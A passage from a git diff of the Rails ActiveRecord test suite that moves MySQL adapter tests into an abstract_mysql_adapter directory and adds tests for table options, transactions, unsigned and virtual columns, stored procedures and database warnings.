+      original_collation = database_info["DEFAULT_COLLATION_NAME"]
+
+      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4")
+
+      yield
+    ensure
+      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}")
+    end
+
+    def connection
+      @connection ||= ActiveRecord::Base.lease_connection
+    end
+
+    def execute(sql)
+      connection.execute(sql)
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_test.rb
similarity index 82%
rename from activerecord/test/cases/adapters/mysql2/schema_test.rb
rename to activerecord/test/cases/adapters/abstract_mysql_adapter/schema_test.rb
index 1fad5585de52b..4fd188f3ecc74 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_test.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
 
 module ActiveRecord
   module ConnectionAdapters
-    class Mysql2SchemaTest < ActiveRecord::Mysql2TestCase
+    class SchemaTest < ActiveRecord::AbstractMysqlTestCase
       fixtures :posts
 
       def setup
-        @connection = ActiveRecord::Base.connection
-        db          = Post.connection_pool.spec.config[:database]
+        @connection = ActiveRecord::Base.lease_connection
+        db          = Post.connection_pool.db_config.database
         table       = Post.table_name
         @db_name    = db
 
@@ -39,7 +41,7 @@ def test_float_limits
         column_24 = @connection.columns(:mysql_doubles).find { |c| c.name == "float_24" }
         column_25 = @connection.columns(:mysql_doubles).find { |c| c.name == "float_25" }
 
-        # Mysql floats are precision 0..24, Mysql doubles are precision 25..53
+        # MySQL floats are precision 0..24, MySQL doubles are precision 25..53
         assert_equal 24, column_no_limit.limit
         assert_equal 24, column_short.limit
         assert_equal 53, column_long.limit
@@ -65,7 +67,7 @@ def test_data_source_exists?
       end
 
       def test_data_source_exists_wrong_schema
-        assert(!@connection.data_source_exists?("#{@db_name}.zomg"), "data_source should not exist")
+        assert_not(@connection.data_source_exists?("#{@db_name}.zomg"), "data_source should not exist")
       end
 
       def test_dump_indexes
@@ -94,9 +96,11 @@ def test_dump_indexes
         def test_drop_temporary_table
           @connection.transaction do
             @connection.create_table(:temp_table, temporary: true)
-            # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
-            # will complain that no transaction is active
-            @connection.drop_table(:temp_table, temporary: true)
+            assert_nothing_raised do
+              # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+              # will complain that no transaction is active
+              @connection.drop_table(:temp_table, temporary: true)
+            end
           end
         end
       end
@@ -104,9 +108,9 @@ def test_drop_temporary_table
   end
 end
 
-class Mysql2AnsiQuotesTest < ActiveRecord::Mysql2TestCase
+class MysqlAnsiQuotesTest < ActiveRecord::AbstractMysqlTestCase
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.execute("SET SESSION sql_mode='ANSI_QUOTES'")
   end
 
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/set_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/set_test.rb
new file mode 100644
index 0000000000000..5b8271623f2a0
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/set_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class SetTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+
+  class SetTest < ActiveRecord::Base
+  end
+
+  def setup
+    SetTest.lease_connection.create_table :set_tests, id: false, force: true do |t|
+      t.column :set_column, "set('text','blob','tiny','medium','long','unsigned','bigint')"
+    end
+  end
+
+  def test_should_not_be_unsigned
+    column = SetTest.columns_hash["set_column"]
+    assert_not_predicate column, :unsigned?
+  end
+
+  def test_should_not_be_bigint
+    column = SetTest.columns_hash["set_column"]
+    assert_not_predicate column, :bigint?
+  end
+
+  def test_schema_dumping
+    schema = dump_table_schema "set_tests"
+    assert_match %r{t\.column "set_column", "set\('text','blob','tiny','medium','long','unsigned','bigint'\)"$}, schema
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/sp_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/sp_test.rb
new file mode 100644
index 0000000000000..efe186f688a2e
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/sp_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+
+class StoredProcedureTest < ActiveRecord::AbstractMysqlTestCase
+  fixtures :topics
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    unless ActiveRecord::Base.lease_connection.database_version >= "5.6.0"
+      skip("no stored procedure support")
+    end
+  end
+
+  # Test that MySQL allows multiple results for stored procedures
+  #
+  # In MySQL 5.6, CLIENT_MULTI_RESULTS is enabled by default.
+  # https://dev.mysql.com/doc/refman/en/call.html
+  def test_multi_results
+    rows = @connection.select_rows("CALL ten();")
+    assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
+
+    assert_predicate @connection, :active?, "Bad connection use by '#{@connection.class}.select_rows'"
+  end
+
+  def test_multi_results_from_select_one
+    row = @connection.select_one("CALL topics(1);")
+    assert_equal "David", row["author_name"]
+    assert_predicate @connection, :active?, "Bad connection use by '#{@connection.class}.select_one'"
+  end
+
+  def test_multi_results_from_find_by_sql
+    topics = Topic.find_by_sql "CALL topics(3);"
+    assert_equal 3, topics.size
+    assert_predicate @connection, :active?, "Bad connection use by '#{@connection.class}.select'"
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/sql_types_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/sql_types_test.rb
new file mode 100644
index 0000000000000..fda13a68bf5bb
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/sql_types_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SqlTypesTest < ActiveRecord::AbstractMysqlTestCase
+  def test_binary_types
+    assert_equal "varbinary(64)", type_to_sql(:binary, 64)
+    assert_equal "varbinary(4095)", type_to_sql(:binary, 4095)
+    assert_equal "blob", type_to_sql(:binary, 4096)
+    assert_equal "blob", type_to_sql(:binary)
+  end
+
+  def type_to_sql(type, limit = nil)
+    ActiveRecord::Base.lease_connection.type_to_sql(type, limit: limit)
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/table_options_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/table_options_test.rb
new file mode 100644
index 0000000000000..51c1e41da27ef
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/table_options_test.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class TableOptionsTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  def teardown
+    @connection.drop_table "mysql_table_options", if_exists: true
+  end
+
+  test "table options with ENGINE" do
+    @connection.create_table "mysql_table_options", force: true, options: "ENGINE=MyISAM"
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4"(?:, collation: "\w+")?, options: "ENGINE=MyISAM", force: :cascade/
+    assert_match expected, output
+  end
+
+  test "table options with ROW_FORMAT" do
+    @connection.create_table "mysql_table_options", force: true, options: "ROW_FORMAT=REDUNDANT"
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4"(?:, collation: "\w+")?, options: "ENGINE=InnoDB ROW_FORMAT=REDUNDANT", force: :cascade/
+    assert_match expected, output
+  end
+
+  test "table options with CHARSET" do
+    @connection.create_table "mysql_table_options", force: true, options: "CHARSET=latin1"
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "latin1"(?:, collation: "\w+")?, force: :cascade/
+    assert_match expected, output
+  end
+
+  test "table options with COLLATE" do
+    @connection.create_table "mysql_table_options", force: true, options: "COLLATE=utf8mb4_bin"
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4", collation: "utf8mb4_bin", force: :cascade/
+    assert_match expected, output
+  end
+
+  test "charset and collation options" do
+    @connection.create_table "mysql_table_options", force: true, charset: "utf8mb4", collation: "utf8mb4_bin"
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4", collation: "utf8mb4_bin"(:?, options: "ENGINE=InnoDB ROW_FORMAT=DYNAMIC")?, force: :cascade/
+    assert_match expected, output
+  end
+
+  test "charset and partitioned table options" do
+    @connection.create_table "mysql_table_options", primary_key: ["id", "account_id"], charset: "utf8mb4", collation: "utf8mb4_bin", options: "ENGINE=InnoDB\n/*!50100 PARTITION BY HASH (`account_id`)\nPARTITIONS 128 */", force: :cascade do |t|
+      t.bigint "id", null: false, auto_increment: true
+      t.bigint "account_id", null: false, unsigned: true
+    end
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", primary_key: \["id", "account_id"\], charset: "utf8mb4", collation: "utf8mb4_bin", options: "ENGINE=InnoDB\\n(\/\*!50100)? PARTITION BY HASH \(`account_id`\)\\nPARTITIONS 128( \*\/)?", force: :cascade/
+    assert_match expected, output
+  end
+
+  test "schema dump works with NO_TABLE_OPTIONS sql mode" do
+    skip "As of MySQL 5.7.22, NO_TABLE_OPTIONS is deprecated. It will be removed in a future version of MySQL." if @connection.database_version >= "5.7.22"
+
+    old_sql_mode = @connection.select_value("SELECT @@SESSION.sql_mode")
+    new_sql_mode = old_sql_mode + ",NO_TABLE_OPTIONS"
+
+    begin
+      @connection.execute("SET @@SESSION.sql_mode='#{new_sql_mode}'")
+
+      @connection.create_table "mysql_table_options", force: true
+      output = dump_table_schema("mysql_table_options")
+      assert_no_match %r{options:}, output
+    ensure
+      @connection.execute("SET @@SESSION.sql_mode='#{old_sql_mode}'")
+    end
+  end
+end
+
+class DefaultEngineOptionTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+  self.use_transactional_tests = false
+
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
+  def setup
+    @logger_was  = ActiveRecord::LogSubscriber.logger
+    @log         = StringIO.new
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::LogSubscriber.logger = ActiveSupport::Logger.new(@log)
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    ActiveRecord::LogSubscriber.logger = @logger_was
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Base.lease_connection.drop_table "mysql_table_options", if_exists: true
+    ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions rescue nil
+  end
+
+  test "new migrations do not contain default ENGINE=InnoDB option" do
+    ActiveRecord::Base.lease_connection.create_table "mysql_table_options", force: true
+
+    assert_no_match %r{ENGINE=InnoDB}, @log.string
+
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4"(?:, collation: "\w+")?(:?, options: "ENGINE=InnoDB ROW_FORMAT=DYNAMIC")?, force: :cascade/
+    assert_match expected, output
+  end
+
+  test "legacy migrations contain default ENGINE=InnoDB option" do
+    migration = Class.new(ActiveRecord::Migration[5.1]) do
+      def migrate(x)
+        create_table "mysql_table_options", force: true
+      end
+    end.new
+
+    pool = ActiveRecord::Base.connection_pool
+    ActiveRecord::Migrator.new(:up, [migration], pool.schema_migration, pool.internal_metadata).migrate
+
+    assert_match %r{ENGINE=InnoDB}, @log.string
+
+    output = dump_table_schema("mysql_table_options")
+    expected = /create_table "mysql_table_options", charset: "utf8mb4"(?:, collation: "\w+")?, force: :cascade/
+    assert_match expected, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/transaction_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/transaction_test.rb
new file mode 100644
index 0000000000000..49d85d1222fc6
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/transaction_test.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  class TransactionTest < ActiveRecord::AbstractMysqlTestCase
+    self.use_transactional_tests = false
+
+    class Sample < ActiveRecord::Base
+      self.table_name = "samples"
+    end
+
+    setup do
+      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+      Thread.report_on_exception, @original_report_on_exception = false, Thread.report_on_exception
+
+      connection = ActiveRecord::Base.lease_connection
+      connection.clear_cache!
+
+      connection.transaction do
+        connection.drop_table "samples", if_exists: true
+        connection.create_table("samples") do |t|
+          t.integer "value"
+        end
+      end
+
+      Sample.reset_column_information
+    end
+
+    teardown do
+      ActiveRecord::Base.lease_connection.drop_table "samples", if_exists: true
+
+      Thread.abort_on_exception = @abort
+      Thread.report_on_exception = @original_report_on_exception
+    end
+
+    test "raises Deadlocked when a deadlock is encountered" do
+      connection = Sample.lease_connection
+      assert_raises(ActiveRecord::Deadlocked) do
+        barrier = Concurrent::CyclicBarrier.new(2)
+
+        s1 = Sample.create value: 1
+        s2 = Sample.create value: 2
+
+        thread = Thread.new do
+          Sample.transaction do
+            s1.lock!
+            barrier.wait
+            s2.update value: 1
+          end
+        end
+
+        begin
+          Sample.transaction do
+            s2.lock!
+            barrier.wait
+            s1.update value: 2
+          end
+        ensure
+          thread.join
+        end
+      end
+      assert_predicate connection, :active?
+    end
+
+    test "raises LockWaitTimeout when lock wait timeout exceeded" do
+      assert_raises(ActiveRecord::LockWaitTimeout) do
+        s = Sample.create!(value: 1)
+        latch1 = Concurrent::CountDownLatch.new
+        latch2 = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch1.count_down
+            latch2.wait
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch1.wait
+            Sample.lease_connection.execute("SET innodb_lock_wait_timeout = 1")
+            Sample.lock.find(s.id)
+          end
+        ensure
+          Sample.lease_connection.execute("SET innodb_lock_wait_timeout = DEFAULT")
+          latch2.count_down
+          thread.join
+        end
+      end
+    end
+
+    test "raises StatementTimeout when statement timeout exceeded" do
+      skip unless ActiveRecord::Base.lease_connection.show_variable("max_execution_time")
+      error = assert_raises(ActiveRecord::StatementTimeout) do
+        s = Sample.create!(value: 1)
+        latch1 = Concurrent::CountDownLatch.new
+        latch2 = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch1.count_down
+            latch2.wait
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch1.wait
+            Sample.lease_connection.execute("SET max_execution_time = 1")
+            Sample.lock.find(s.id)
+          end
+        ensure
+          Sample.lease_connection.execute("SET max_execution_time = DEFAULT")
+          latch2.count_down
+          thread.join
+        end
+      end
+      assert_kind_of ActiveRecord::QueryAborted, error
+    end
+
+    test "raises QueryCanceled when canceling statement due to user request" do
+      error = assert_raises(ActiveRecord::QueryCanceled) do
+        s = Sample.create!(value: 1)
+        latch = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch.count_down
+            sleep(0.5)
+            conn = Sample.lease_connection
+            pid = conn.select_value("SELECT id FROM information_schema.processlist WHERE info LIKE '% FOR UPDATE'")
+            conn.execute("KILL QUERY #{pid}")
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch.wait
+            Sample.lock.find(s.id)
+          end
+        ensure
+          thread.join
+        end
+      end
+      assert_kind_of ActiveRecord::QueryAborted, error
+    end
+
+    test "reconnect preserves isolation level" do
+      pool = Sample.connection_pool
+      @connection = Sample.lease_connection
+
+      Sample.transaction do
+        @connection.materialize_transactions
+        # Double check that the INSERT isn't seen with default isolation level
+        assert_no_difference -> { Sample.count } do
+          Thread.new do
+            Sample.create!(value: 1)
+          end.join
+        end
+      end
+
+      Sample.transaction(isolation: :read_committed) do
+        @connection.materialize_transactions
+        # Double check that the INSERT is seen with :read_committed
+        assert_difference -> { Sample.count }, +1 do
+          Thread.new do
+            Sample.create!(value: 1)
+          end.join
+        end
+      end
+
+      first_begin_failed = false
+      @connection.singleton_class.define_method(:perform_query) do |raw_connection, intent, *args, **kwargs|
+        # Simulates the first BEGIN attempt failing
+        if intent.processed_sql.include?("BEGIN") && !first_begin_failed
+          first_begin_failed = true
+          raise ActiveRecord::ConnectionFailed, "Simulated failure"
+        end
+        super(raw_connection, intent, *args, **kwargs)
+      end
+
+      Sample.transaction(isolation: :read_committed) do
+        @connection.materialize_transactions
+        # Indirectly check that the retried transaction is READ COMMITTED
+        assert_difference -> { Sample.count }, +1 do
+          Thread.new do
+            Sample.create!(value: 1)
+          end.join
+        end
+      end
+
+      assert first_begin_failed
+    ensure
+      pool.remove(@connection) # We're monkey patching the instance, we shouldn't re-use it
+      @connection&.disconnect!
+      Sample.release_connection
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/unsigned_type_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/unsigned_type_test.rb
new file mode 100644
index 0000000000000..4fccda9603663
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/unsigned_type_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class UnsignedTypeTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+  self.use_transactional_tests = false
+
+  class UnsignedType < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table("unsigned_types", force: true) do |t|
+      t.integer :unsigned_integer, unsigned: true
+      t.bigint  :unsigned_bigint,  unsigned: true
+      t.float   :unsigned_float,   unsigned: true
+      t.decimal :unsigned_decimal, unsigned: true, precision: 10, scale: 2
+      t.column  :unsigned_zerofill, "int unsigned zerofill"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "unsigned_types", if_exists: true
+  end
+
+  test "unsigned int max value is in range" do
+    assert expected = UnsignedType.create(unsigned_integer: 4294967295)
+    assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295)
+  end
+
+  test "minus value is out of range" do
+    assert_raise(ActiveModel::RangeError) do
+      UnsignedType.create(unsigned_integer: -10)
+    end
+    assert_raise(ActiveModel::RangeError) do
+      UnsignedType.create(unsigned_bigint: -10)
+    end
+    assert_raise(ActiveRecord::RangeError) do
+      UnsignedType.create(unsigned_float: -10.0)
+    end
+    assert_raise(ActiveRecord::RangeError) do
+      UnsignedType.create(unsigned_decimal: -10.0)
+    end
+  end
+
+  test "schema definition can use unsigned as the type" do
+    @connection.change_table("unsigned_types") do |t|
+      t.unsigned_integer :unsigned_integer_t
+      t.unsigned_bigint  :unsigned_bigint_t
+    end
+
+    @connection.columns("unsigned_types").select { |c| /^unsigned_/.match?(c.name) }.each do |column|
+      assert_predicate column, :unsigned?
+    end
+  end
+
+  test "schema dump includes unsigned option" do
+    schema = dump_table_schema "unsigned_types"
+    assert_match %r{t\.integer\s+"unsigned_integer",\s+unsigned: true$}, schema
+    assert_match %r{t\.bigint\s+"unsigned_bigint",\s+unsigned: true$}, schema
+    assert_match %r{t\.float\s+"unsigned_float",\s+unsigned: true$}, schema
+    assert_match %r{t\.decimal\s+"unsigned_decimal",\s+precision: 10,\s+scale: 2,\s+unsigned: true$}, schema
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/virtual_column_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/virtual_column_test.rb
new file mode 100644
index 0000000000000..1213374481cde
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/virtual_column_test.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_virtual_columns?
+  class VirtualColumnTest < ActiveRecord::AbstractMysqlTestCase
+    include SchemaDumpingHelper
+
+    self.use_transactional_tests = false
+
+    class VirtualColumn < ActiveRecord::Base
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :virtual_columns, force: true do |t|
+        t.string   :name
+        t.virtual  :upper_name,  type: :string,  as: "UPPER(`name`)"
+        t.virtual  :name_length, type: :integer, as: "LENGTH(`name`)", stored: true
+        t.virtual  :name_octet_length, type: :integer, as: "OCTET_LENGTH(`name`)", stored: true
+        t.json     :profile
+        t.virtual  :profile_email, type: :string, as: "json_extract(`profile`,_utf8mb4'$.email')", stored: true
+        t.datetime :time
+        t.virtual  :time_mirror, type: :datetime, as: "`time`"
+      end
+      VirtualColumn.create(name: "Rails")
+    end
+
+    def teardown
+      @connection.drop_table :virtual_columns, if_exists: true
+      VirtualColumn.reset_column_information
+    end
+
+    def test_virtual_column
+      column = VirtualColumn.columns_hash["upper_name"]
+      assert_predicate column, :virtual?
+      assert_match %r{\bVIRTUAL\b}, column.extra
+      assert_equal "RAILS", VirtualColumn.take.upper_name
+    end
+
+    def test_stored_column
+      column = VirtualColumn.columns_hash["name_length"]
+      assert_predicate column, :virtual?
+      assert_match %r{\b(?:STORED|PERSISTENT)\b}, column.extra
+      assert_equal 5, VirtualColumn.take.name_length
+    end
+
+    def test_change_table
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :lower_name, type: :string, as: "LOWER(name)"
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["lower_name"]
+      assert_predicate column, :virtual?
+      assert_match %r{\bVIRTUAL\b}, column.extra
+      assert_equal "rails", VirtualColumn.take.lower_name
+    end
+
+    def test_schema_dumping
+      output = dump_table_schema("virtual_columns")
+      assert_match(/t\.virtual\s+"upper_name",\s+type: :string,\s+as: "(?:UPPER|UCASE)\(`name`\)"$/i, output)
+      assert_match(/t\.virtual\s+"name_length",\s+type: :integer,\s+as: "(?:octet_length|length)\(`name`\)",\s+stored: true$/i, output)
+      assert_match(/t\.virtual\s+"name_octet_length",\s+type: :integer,\s+as: "(?:octet_length|length)\(`name`\)",\s+stored: true$/i, output)
+      assert_match(/t\.virtual\s+"profile_email",\s+type: :string,\s+as: "json_extract\(`profile`,\w*?'\$\.email'\)", stored: true$/i, output)
+      assert_match(/t\.virtual\s+"time_mirror",\s+type: :datetime,\s+as: "`time`"$/i, output[/^.*time_mirror.*$/])
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/warnings_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/warnings_test.rb
new file mode 100644
index 0000000000000..797deba028d0d
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/warnings_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/error_reporter/test_helper"
+
+class WarningsTest < ActiveRecord::AbstractMysqlTestCase
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @original_db_warnings_action = :ignore
+  end
+
+  test "db_warnings_action :raise on warning" do
+    with_db_warnings_action(:raise) do
+      error = assert_raises(ActiveRecord::SQLWarning) do
+        @connection.execute('SELECT 1 + "foo"')
+      end
+
+      assert_equal @connection.pool, error.connection_pool
+    end
+  end
+
+  test "db_warnings_action :ignore on warning" do
+    with_db_warnings_action(:ignore) do
+      result = @connection.execute('SELECT 1 + "foo"')
+      assert_equal [1], result.to_a.first
+    end
+  end
+
+  test "db_warnings_action :log on warning" do
+    with_db_warnings_action(:log) do
+      mysql_warning = "[ActiveRecord::SQLWarning] Truncated incorrect DOUBLE value: 'foo' (1292)"
+
+      assert_called_with(ActiveRecord::Base.logger, :warn, [mysql_warning]) do
+        @connection.execute('SELECT 1 + "foo"')
+      end
+    end
+  end
+
+  test "db_warnings_action :report on warning" do
+    with_db_warnings_action(:report) do
+      error_reporter = ActiveSupport::ErrorReporter.new
+      subscriber = ActiveSupport::ErrorReporter::TestHelper::ErrorSubscriber.new
+
+      Rails.define_singleton_method(:error) { error_reporter }
+      Rails.error.subscribe(subscriber)
+
+      @connection.execute('SELECT 1 + "foo"')
+
+      warning_event, * = subscriber.events.first
+
+      assert_kind_of ActiveRecord::SQLWarning, warning_event
+      assert_equal "Truncated incorrect DOUBLE value: 'foo'", warning_event.message
+    end
+  end
+
+  test "db_warnings_action custom proc on warning" do
+    warning_message = nil
+    warning_level = nil
+    warning_action = ->(warning) do
+      warning_message = warning.message
+      warning_level = warning.level
+    end
+
+    with_db_warnings_action(warning_action) do
+      @connection.execute('SELECT 1 + "foo"')
+
+      assert_equal "Truncated incorrect DOUBLE value: 'foo'", warning_message
+      assert_equal "Warning", warning_level
+    end
+  end
+
+  test "db_warnings_action allows a list of warnings to ignore" do
+    with_db_warnings_action(:raise, [/Truncated incorrect DOUBLE value/]) do
+      result = @connection.execute('SELECT 1 + "foo"')
+
+      assert_equal [1], result.to_a.first
+    end
+  end
+
+  test "db_warnings_action allows a list of codes to ignore" do
+    with_db_warnings_action(:raise, ["1292"]) do
+      result = @connection.execute('SELECT 1 + "foo"')
+
+      assert_equal [1], result.to_a.first
+    end
+  end
+
+  test "db_warnings_action ignores note level warnings" do
+    with_db_warnings_action(:raise) do
+      result = @connection.execute("DROP TABLE IF EXISTS non_existent_table")
+
+      assert_equal [], result.to_a
+    end
+  end
+
+  test "db_warnings_action handles when warning_count does not match returned warnings" do
+    with_db_warnings_action(:raise) do
+      # force warnings to 1, but SHOW WARNINGS will return [].
+      @connection.raw_connection.stub(:warning_count, 1) do
+        error = assert_raises(ActiveRecord::SQLWarning) do
+          @connection.execute('SELECT "x"')
+        end
+
+        expected = "Query had warning_count=1 but `SHOW WARNINGS` did not return the warnings. Check MySQL logs or database configuration."
+        assert_equal expected, error.message
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
deleted file mode 100644
index 67e1efde2717d..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
+++ /dev/null
@@ -1,193 +0,0 @@
-require "cases/helper"
-require "support/connection_helper"
-
-class Mysql2ActiveSchemaTest < ActiveRecord::Mysql2TestCase
-  include ConnectionHelper
-
-  def setup
-    ActiveRecord::Base.connection.singleton_class.class_eval do
-      alias_method :execute_without_stub, :execute
-      def execute(sql, name = nil) return sql end
-    end
-  end
-
-  teardown do
-    reset_connection
-  end
-
-  def test_add_index
-    # add_index calls data_source_exists? and index_name_exists? which can't work since execute is stubbed
-    def (ActiveRecord::Base.connection).data_source_exists?(*); true; end
-    def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
-
-    expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
-    assert_equal expected, add_index(:people, :last_name, length: nil)
-
-    expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`(10)) "
-    assert_equal expected, add_index(:people, :last_name, length: 10)
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`(15)) "
-    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15)
-    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: 15)
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`) "
-    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15 })
-    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: { last_name: 15 })
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`(10)) "
-    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15, first_name: 10 })
-    assert_equal expected, add_index(:people, ["last_name", :first_name], length: { last_name: 15, "first_name" => 10 })
-
-    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
-      expected = "CREATE #{type} INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
-      assert_equal expected, add_index(:people, :last_name, type: type)
-    end
-
-    %w(btree hash).each do |using|
-      expected = "CREATE  INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
-      assert_equal expected, add_index(:people, :last_name, using: using)
-    end
-
-    expected = "CREATE  INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
-    assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree)
-
-    expected = "CREATE  INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
-    assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree, algorithm: :copy)
-
-    assert_raise ArgumentError do
-      add_index(:people, :last_name, algorithm: :coyp)
-    end
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
-    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15, using: :btree)
-  end
-
-  def test_index_in_create
-    def (ActiveRecord::Base.connection).data_source_exists?(*); false; end
-
-    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
-      expected = "CREATE TABLE `people` (#{type} INDEX `index_people_on_last_name`  (`last_name`)) ENGINE=InnoDB"
-      actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t|
-        t.index :last_name, type: type
-      end
-      assert_equal expected, actual
-    end
-
-    expected = "CREATE TABLE `people` ( INDEX `index_people_on_last_name` USING btree (`last_name`(10))) ENGINE=InnoDB"
-    actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t|
-      t.index :last_name, length: 10, using: :btree
-    end
-    assert_equal expected, actual
-  end
-
